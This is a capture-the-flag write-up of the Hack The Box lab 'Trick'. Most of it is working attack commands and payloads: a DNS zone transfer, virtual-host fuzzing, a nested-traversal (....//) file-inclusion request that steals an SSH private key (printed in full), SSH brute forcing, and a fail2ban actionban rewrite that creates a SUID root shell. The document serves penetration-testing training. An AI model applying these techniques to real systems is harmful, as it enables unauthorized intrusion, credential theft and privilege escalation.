Skip to content

HTB Trick writeup

A technical writeup for educational use, covering only the authorized, isolated Hack The Box lab.

Trick is a Linux Easy box entered through a zone transfer from a public BIND server and a mismatch between DNS records and nginx virtual hosts. A SQL dump on preprod-payroll.trick.htb yields application credentials. Enumerating the preprod-* hostname pattern then finds preprod-marketing.trick.htb. Its index.php?page= parameter has a local file inclusion (LFI) flaw: a filter that removes ../ once can be bypassed with nested traversal (....//). Reading michael’s SSH private key yields a user shell. From there, membership in the security group permits writing to /etc/fail2ban/action.d by unlinking and replacing an existing file. Restarting fail2ban with sudo and triggering the sshd jail’s actionban produces a root SUID shell.

ItemValue
BoxTrick
PlatformHack The Box
OSDebian 10 (OpenSSH 7.9p1 Debian 10+deb10u2, kernel 4.19.0-20-amd64)
DifficultyEasy
operator
|
| nmap + DNS AXFR @10.129.227.180
v
trick.htb (nginx Coming Soon) + preprod-payroll.trick.htb
|
| /database/payroll.sql
v
payroll app login Enemigosss:SuperGucciRainbowCake
|
| Host: preprod-FUZZ.trick.htb
v
preprod-marketing.trick.htb
|
| LFI index.php?page=....// (nested traversal)
v
/home/michael/.ssh/id_rsa
|
| SSH public-key auth
v
michael (groups: michael, security)
|
| sudo NOPASSWD: /etc/init.d/fail2ban restart
| unlink+replace group-writable action.d/iptables-multiport.conf
| actionban + SSH auth failures (sshd jail)
v
root via SUID /tmp/pwnshell -p
  • Hostnames / virtual hosts: trick.htb, preprod-payroll.trick.htb, preprod-marketing.trick.htb

/etc/hosts:

10.129.227.180 trick.htb preprod-payroll.trick.htb preprod-marketing.trick.htb

nmap:

Terminal window
nmap -sS -A -p- --min-rate 10000 10.129.227.180
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
25/tcp open smtp?
|_smtp-commands: Couldn't establish connection on port 25
53/tcp open domain ISC BIND 9.11.5-P4-5.1+deb10u7 (Debian Linux)
| dns-nsid:
|_ bind.version: 9.11.5-P4-5.1+deb10u7-Debian
80/tcp open http nginx 1.14.2
|_http-title: Coming Soon - Start Bootstrap Theme
|_http-server-header: nginx/1.14.2
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Key observations:

  • An externally accessible BIND server ran on 53/tcp. Zone transfer (AXFR) and DNS enumeration came first.
  • 80/tcp served an nginx Coming Soon template. Virtual hosts were more promising than directory enumeration.
  • 22/tcp could wait until credentials or a key were available.
  • 25/tcp returned a banner but did not provide an entry point for the main path.
  • The OS was Debian 10, consistent with the default fail2ban and sshd jail layout seen later.

The Coming Soon page was a Start Bootstrap template with an unconfigured form (API_TOKEN). It exposed only static assets. feroxbuster likewise found only css, js, and assets.

Guessing virtual hosts with Host: FUZZ.trick.htb found nothing. That did not mean there were no vhosts: compound names such as preprod-payroll, found later, were not single entries in the wordlist.

SMTP accepted a manual connection.

Terminal window
nc -nv 10.129.227.180 25
220 debian.localdomain ESMTP Postfix (Debian/GNU)
501 Syntax: EHLO hostname
501 5.5.4 Syntax: VRFY address [SMTPUTF8]
502 5.5.2 Error: command not recognized

It did not help enumerate users. Investigate DNS first.

Terminal window
dig axfr trick.htb @10.129.227.180
trick.htb. 604800 IN SOA trick.htb. root.trick.htb. 5 604800 86400 2419200 604800
trick.htb. 604800 IN NS trick.htb.
trick.htb. 604800 IN A 127.0.0.1
trick.htb. 604800 IN AAAA ::1
preprod-payroll.trick.htb. 604800 IN CNAME trick.htb.

preprod-payroll.trick.htb appeared in the zone. The 127.0.0.1 A record was how BIND resolved it on the target; from the attacking machine, map it to 10.129.227.180 in /etc/hosts. The SOA value root.trick.htb represented an administrator email address, not a username.

Ordinary ANY and NS queries did not return the CNAME. Skipping AXFR would miss this hostname.

http://preprod-payroll.trick.htb/ returned both a 302 location: login.php redirect and dashboard HTML. A browser followed the Location header and showed the login screen. By default, curl did not follow the redirect, so it displayed the Employee List and other content without logging in. The authentication check simply failed to call exit after output; this was not a successful login.

The title was Admin | Employee's Payroll Management System. The login form posted username and password to ajax.php?action=login.

Terminal window
curl -s http://preprod-payroll.trick.htb/login.php | grep -iE 'form|action|username|password|ajax'
<form id="login-form" >
<input type="text" id="username" name="username" class="form-control">
<input type="password" id="password" name="password" class="form-control">
url:'ajax.php?action=login',

admin:admin failed and returned 3 (the application used numeric responses for failures).

Terminal window
curl -i -X POST 'http://preprod-payroll.trick.htb/ajax.php?action=login' \
-d 'username=admin&password=admin'
HTTP/1.1 200 OK
...
3

feroxbuster found /database through a 301 response. Reading the directory directly returned 403 because autoindex was disabled, but files inside it could be requested directly. The generic common.txt wordlist lacked payroll, so brute forcing only extensions could easily miss it. Adding .sql to words drawn from the hostname and application name found the file.

Terminal window
printf '%s\n' payroll employee employees users user admin database db dump backup sql trick enemigosss > target-words.txt
ffuf -u http://preprod-payroll.trick.htb/database/FUZZ -w target-words.txt -e .sql,.php,.bak,.txt,.zip -ac

It could also be found as follows.

Terminal window
$ feroxbuster -u http://preprod-payroll.trick.htb/database/ \
-w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt \
-x sql,php,bak,txt,zip -d 0 -n
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.13.1
───────────────────────────┬──────────────────────
🎯 Target Url │ http://preprod-payroll.trick.htb/database
🚩 In-Scope Url │ preprod-payroll.trick.htb
🚀 Threads │ 50
📖 Wordlist │ /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.13.1
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔎 Extract Links │ true
💲 Extensions │ [sql, php, bak, txt, zip]
🏁 HTTP methods │ [GET]
🚫 Do Not Recurse │ true
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 7l 12w 169c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
301 GET 7l 12w 185c http://preprod-payroll.trick.htb/database => http://preprod-payroll.trick.htb/database/
200 GET 424l 1315w 10883c http://preprod-payroll.trick.htb/database/payroll.sql
payroll.sql [Status: 200, Size: 10883]
Terminal window
curl -s http://preprod-payroll.trick.htb/database/payroll.sql

The users table contained only one entry, with a plaintext password.

INSERT INTO `users` (`id`, `doctor_id`, `name`, `address`, `contact`, `username`, `password`, `type`) VALUES
(1, 0, 'Administrator', '', '', 'Enemigosss', 'SuperGucciRainbowCake', 1);
Terminal window
curl -i -X POST 'http://preprod-payroll.trick.htb/ajax.php?action=login' \
-d 'username=Enemigosss&password=SuperGucciRainbowCake'
HTTP/1.1 200 OK
...
1

1 meant the login succeeded; the account in the dump was active. SSH attempts using the same password with Enemigosss, enemigosss, and admin returned Permission denied. Payroll had served its purpose as a source of credentials; the next step was to reuse the preprod- hostname prefix to find another vhost.

A hostname absent from the zone transfer could still exist in an nginx server_name. The initial Host: FUZZ.trick.htb search missed compound names, so keep the observed prefix fixed.

Terminal window
ffuf -u http://10.129.227.180/ \
-H 'Host: preprod-FUZZ.trick.htb' \
-w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
-fs 5480 -ac
marketing [Status: 200, Size: 9660, Words: 3007, Lines: 179]

5480 was the size of the default Coming Soon page. preprod-marketing.trick.htb served TemplateMo 549 Business Oriented, whose menu passed filenames to the page parameter.

<a class="nav-link tm-nav-link" href="index.php?page=services.html">Services</a>
<a class="nav-link tm-nav-link" href="index.php?page=about.html">About</a>
<a class="nav-link tm-nav-link" href="index.php?page=contact.html">Contact</a>

contact.html could be fetched directly with a 200 response. The routing was in the PHP include.

Terminal window
curl -s -o /dev/null -w '%{http_code} %{size_download}\n' \
'http://preprod-marketing.trick.htb/index.php?page=about.html'
curl -s -o /dev/null -w '%{http_code} %{size_download}\n' \
'http://preprod-marketing.trick.htb/index.php?page=doesnotexist.html'
200 13272
200 0

A nonexistent file returning 200 with 0 bytes looked like a failed include rather than an authentication barrier. Plain traversal, an absolute path, and a PHP wrapper all returned empty responses.

Terminal window
curl -s 'http://preprod-marketing.trick.htb/index.php?page=../../../../etc/passwd'
curl -s 'http://preprod-marketing.trick.htb/index.php?page=/etc/passwd'
curl -s 'http://preprod-marketing.trick.htb/index.php?page=php://filter/convert.base64-encode/resource=index.php'

Nested traversal worked.

Terminal window
curl -s 'http://preprod-marketing.trick.htb/index.php?page=....//....//....//....//etc/passwd'
root:x:0:0:root:/root:/bin/bash
...
michael:x:1001:1001::/home/michael:/bin/bash

With a nonrecursive replacement such as str_replace('../', '', $page), removing the inner ../ from ....// leaves ../. The input ../../../../etc/passwd is stripped to the relative path etc/passwd. This is what PortSwigger calls nested traversal sequences.

Read the SSH key from OS user michael’s home directory.

Terminal window
curl -s 'http://preprod-marketing.trick.htb/index.php?page=....//....//....//....//home/michael/.ssh/id_rsa'
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAQEAwI9YLFRKT6JFTSqPt2/+7mgg5HpSwzHZwu95Nqh1Gu4+9P+ohLtz
c4jtky6wYGzlxKHg/Q5ehozs9TgNWPVKh+j92WdCNPvdzaQqYKxw4Fwd3K7F4JsnZaJk2G
YQ2re/gTrNElMAqURSCVydx/UvGCNT9dwQ4zna4sxIZF4HpwRt1T74wioqIX3EAYCCZcf+
4gAYBhUQTYeJlYpDVfbbRH2yD73x7NcICp5iIYrdS455nARJtPHYkO9eobmyamyNDgAia/
Ukn75SroKGUMdiJHnd+m1jW5mGotQRxkATWMY5qFOiKglnws/jgdxpDV9K3iDTPWXFwtK4
1kC+t4a8sQAAA8hzFJk2cxSZNgAAAAdzc2gtcnNhAAABAQDAj1gsVEpPokVNKo+3b/7uaC
DkelLDMdnC73k2qHUa7j70/6iEu3NziO2TLrBgbOXEoeD9Dl6GjOz1OA1Y9UqH6P3ZZ0I0
+93NpCpgrHDgXB3crsXgmydlomTYZhDat7+BOs0SUwCpRFIJXJ3H9S8YI1P13BDjOdrizE
hkXgenBG3VPvjCKiohfcQBgIJlx/7iABgGFRBNh4mVikNV9ttEfbIPvfHs1wgKnmIhit1L
jnmcBEm08diQ716hubJqbI0OACJr9SSfvlKugoZQx2Iked36bWNbmYai1BHGQBNYxjmoU6
IqCWfCz+OB3GkNX0reINM9ZcXC0rjWQL63hryxAAAAAwEAAQAAAQASAVVNT9Ri/dldDc3C
aUZ9JF9u/cEfX1ntUFcVNUs96WkZn44yWxTAiN0uFf+IBKa3bCuNffp4ulSt2T/mQYlmi/
KwkWcvbR2gTOlpgLZNRE/GgtEd32QfrL+hPGn3CZdujgD+5aP6L9k75t0aBWMR7ru7EYjC
tnYxHsjmGaS9iRLpo79lwmIDHpu2fSdVpphAmsaYtVFPSwf01VlEZvIEWAEY6qv7r455Ge
U+38O714987fRe4+jcfSpCTFB0fQkNArHCKiHRjYFCWVCBWuYkVlGYXLVlUcYVezS+ouM0
fHbE5GMyJf6+/8P06MbAdZ1+5nWRmdtLOFKF1rpHh43BAAAAgQDJ6xWCdmx5DGsHmkhG1V
PH+7+Oono2E7cgBv7GIqpdxRsozETjqzDlMYGnhk9oCG8v8oiXUVlM0e4jUOmnqaCvdDTS
3AZ4FVonhCl5DFVPEz4UdlKgHS0LZoJuz4yq2YEt5DcSixuS+Nr3aFUTl3SxOxD7T4tKXA
fvjlQQh81veQAAAIEA6UE9xt6D4YXwFmjKo+5KQpasJquMVrLcxKyAlNpLNxYN8LzGS0sT
AuNHUSgX/tcNxg1yYHeHTu868/LUTe8l3Sb268YaOnxEbmkPQbBscDerqEAPOvwHD9rrgn
In16n3kMFSFaU2bCkzaLGQ+hoD5QJXeVMt6a/5ztUWQZCJXkcAAACBANNWO6MfEDxYr9DP
JkCbANS5fRVNVi0Lx+BSFyEKs2ThJqvlhnxBs43QxBX0j4BkqFUfuJ/YzySvfVNPtSb0XN
jsj51hLkyTIOBEVxNjDcPWOj5470u21X8qx2F3M4+YGGH+mka7P+VVfvJDZa67XNHzrxi+
IJhaN0D5bVMdjjFHAAAADW1pY2hhZWxAdHJpY2sBAgMEBQ==
-----END OPENSSH PRIVATE KEY-----

The public key comment was michael@trick.

Save the key to a file, restrict its permissions, and connect over SSH.

Terminal window
chmod 600 michael.key
ssh -i ./michael.key michael@trick.htb
Linux trick 4.19.0-20-amd64 #1 SMP Debian 4.19.235-1 (2022-03-17) x86_64
michael@trick:~$ hostname
trick
michael@trick:~$ id
uid=1001(michael) gid=1001(michael) groups=1001(michael),1002(security)

The user shell was michael. The value of user.txt was not recorded. The next clue was membership in the supplementary security group.

Terminal window
sudo -l
Matching Defaults entries for michael on trick:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User michael may run the following commands on trick:
(root) NOPASSWD: /etc/init.d/fail2ban restart
Terminal window
find / -group security -perm -g=w -printf '%M %u %g %p\n' 2>/dev/null
drwxrwx--- root security /etc/fail2ban/action.d

The fail2ban server ran as root. A sudo restart caused root to reload the action definitions. However, write permission on the action.d directory differed from write permission on the .conf files inside it.

drwxrwx--- 2 root security action.d
-rw-r--r-- 1 root root action.d/*.conf

The existing files were mode 644, so they could not be overwritten in place. Without a sticky bit, directory write permission still allowed unlinking files owned by someone else.

The enabled jail was Debian’s default sshd jail, and its default banaction was iptables-multiport.

Terminal window
cat /etc/fail2ban/jail.d/defaults-debian.conf
[sshd]
enabled = true
banaction = iptables-multiport
action = %(action_)s
bantime = 10s
findtime = 10s
maxretry = 5

The short findtime, maxretry, and bantime values were intended to trigger actionban quickly through failed SSH authentications. Merely adding a command to actionstart and restarting did not run it. Fail2Ban 0.10 can delay start until the first ban, and if iptables -N fails because a chain already exists, subsequent lines are not reached.

In this attempt, relying only on the runtime merge from .local did not trigger actionban. Replace the referenced action file itself.

On the target, copy iptables-multiport.conf and replace only actionban (a state-changing step).

#actionban = <iptables> -I f2b-<name> 1 -s <ip> -j <blocktype>
actionban = cp /bin/bash /tmp/pwnshell; chmod 4777 /tmp/pwnshell
Terminal window
rm /etc/fail2ban/action.d/iptables-multiport.conf
cp /tmp/iptables-multiport.conf /etc/fail2ban/action.d/iptables-multiport.conf
sudo /etc/init.d/fail2ban restart
[ ok ] Restarting fail2ban (via systemctl): fail2ban.service.

Because of ignorself, failed logins from localhost inside the box did not cause a ban. From the attacking VPN, send at least five failed password attempts within ten seconds. Sequential ssh attempts exceeded the window while waiting for a second password prompt. Parallel failures, such as those sent by hydra, met the condition.

Terminal window
hydra -l nosuchuser -P /usr/share/wordlists/rockyou.txt -f ssh://trick.htb
-rwsrwxrwx 1 root root 1168776 Aug 22 18:54 /tmp/pwnshell
Terminal window
/tmp/pwnshell -p
cd /root
ls -la
cat root.txt
pwnshell-5.0# cat root.txt
[REDACTED]

/tmp/pwnshell -p preserved the effective root UID of the SUID bash. Alongside root.txt, /root contained f2b.sh, fail2ban/, and set_dns.sh. Their contents were not recorded.

  • The main trick.htb Coming Soon page and deep directory brute forcing revealed only the static template.
  • Host: FUZZ.trick.htb and Host: FUZZ.preprod-payroll.trick.htb could not find compound preprod-* names.
  • SMTP VRFY and EXPN returned no useful information.
  • Payroll admin:admin failed; the response 3 indicated failure.
  • Reusing Enemigosss:SuperGucciRainbowCake over SSH failed because password authentication was rejected.
  • Payroll’s index.php?page= used extensionless page names and showed weaker signs of LFI than the marketing page. Authentication and the SQL dump yielded more information.
  • Brute forcing /database/ with common.txt alone missed the application-specific name payroll.sql.
  • Reading too much into the marketing page’s appearance or About text was unproductive; the input point was page=.
  • Adding an unreferenced new action under action.d, copying the entire .conf to .local, or only changing actionstart and restarting did not work. The referenced iptables-multiport actionban and enough SSH failures inside the time window were required.
  • The fail2ban log /var/log/fail2ban.log was readable only by root, not by michael.
ItemOriginal stateChanged stateHow to restoreVerification
/etc/fail2ban/action.d/iptables-multiport.confroot:root mode 644; actionban used iptablesReplaced after unlinking with a modified file owned by michael (creates SUID bash)Restore the backup, reset ownership to root:root, then run sudo /etc/init.d/fail2ban restartNot verified
/etc/fail2ban/action.d/iptables-multiport.localAbsentCreated with actionban = touch /tmp/pwn or similarDelete the fileNot verified
/tmp/pwnshellAbsentBash copy with -rwsrwxrwx rootrm /tmp/pwnshellNot verified
/tmp/iptables-multiport.conf (working copy on target)AbsentModified configurationDelete itNot verified
Attacker IP ban by the sshd jailAbsentTemporary ban with bantime 10sWait for the ban to expireNot recorded
Payroll PHPSESSIDAbsentSuccessful login sessionLet it expireNot recorded
Acquired michael SSH private key (attacking machine)AbsentSaved as a key fileDelete it after finishingNot verified

After restoring the fail2ban configuration, check that the sshd jail has returned to normal iptables banning. The verification result was not recorded.

ItemSourceBelongs toFirst useResult
Enemigosss / SuperGucciRainbowCakeusers in http://preprod-payroll.trick.htb/database/payroll.sqlPayroll app Administratorajax.php?action=loginResponse 1; rejected by SSH
michael SSH private keyMarketing LFI ....//home/michael/.ssh/id_rsaOS user michaelssh -iUser shell
michael public key comment michael@trickid_rsa.pub / authorized_keys through the same LFImichaelUser identificationMatches /etc/passwd

Flags:

  • user.txt: Not recorded (michael shell confirmed)
  • root.txt: /root/root.txt = [REDACTED]

Artifacts:

  • /database/payroll.sql (phpMyAdmin dump, plaintext password)
  • /home/michael/.ssh/id_rsa
  • /tmp/pwnshell (root SUID bash; cleanup required)
  • The difference between zone transfer (AXFR) from an externally exposed BIND server and HTTP Host fuzzing
  • nginx virtual hosts and the DNS zone as separate inventories
  • Finding files under a 403 directory with target-specific words and extensions
  • The Sourcecodester-style PHP ajax.php?action=login and a plaintext dump
  • Recognizing index.php?page=filename as an include
  • Bypassing nonrecursive ../ removal with nested traversal (....//)
  • Moving from LFI to ~/.ssh/id_rsa
  • Directory write permission without a sticky bit allows unlinking, regardless of a file’s mode 644
  • How a fail2ban jail references banaction, then action.d/*.conf, then actionban
  • Trigger conditions for actionstart (startup) and actionban (log threshold), plus findtime, maxretry, and ignorself
  • Preserving effective root privileges with -p in SUID bash

The entry point was the open port 53, not port 80. Even when Host header brute forcing finds nothing, BIND may have the answer. Conversely, AXFR is not a complete inventory of nginx vhosts. Fixing the prefix from preprod-payroll and enumerating again found preprod-marketing, which was absent from the zone.

Despite sharing a parameter name, page=home and page=about.html suggest different implementations. The latter passes the name of a real file with an extension, making it the stronger LFI target. Comparing the empty result from ../../ with the success of ....// shows that the filter removes the forbidden string only once.

Privilege escalation was a matter of replacing a named file read by a root process, with attention to when each hook ran. Although .local was the conventional overlay, when it did not work, unlinking and replacing the original file took over the same name. Even with sudo access limited to restart, the sshd jail’s actionban and a short findtime allowed an external event to run code as root.